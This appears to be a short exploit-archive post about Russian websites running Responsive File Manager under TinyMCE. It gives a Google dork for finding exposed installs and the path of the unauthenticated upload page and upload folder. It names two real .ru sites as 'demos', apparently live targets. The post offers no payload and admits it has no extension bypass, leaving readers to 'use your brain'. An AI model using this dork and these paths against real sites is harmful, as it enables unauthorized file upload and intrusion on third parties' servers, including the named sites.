Exploit Title: Responsive file manager for russian website
Vendor homepage: https://responsivefilemanager.com/
Author: L4663r666h05t
Twitter: https://twitter.com/L4663r666h05t

Dorking on Google Images (use your brain)
inurl:/modules/tinymce/source/ site:ru

Exploit: localhost/modules/tinymce/filemanager/dialog.php
File Path: localhost/modules/tinymce/source/file.jpg

Bypass ext: i dont know for the bypass ext. you can try yourself, use your brain. hehe

Demo: 
https://potolkidaromperm.ru/modules/tinymce/filemanager/dialog.php
https://zedpost.ru/modules/tinymce/filemanager/dialog.php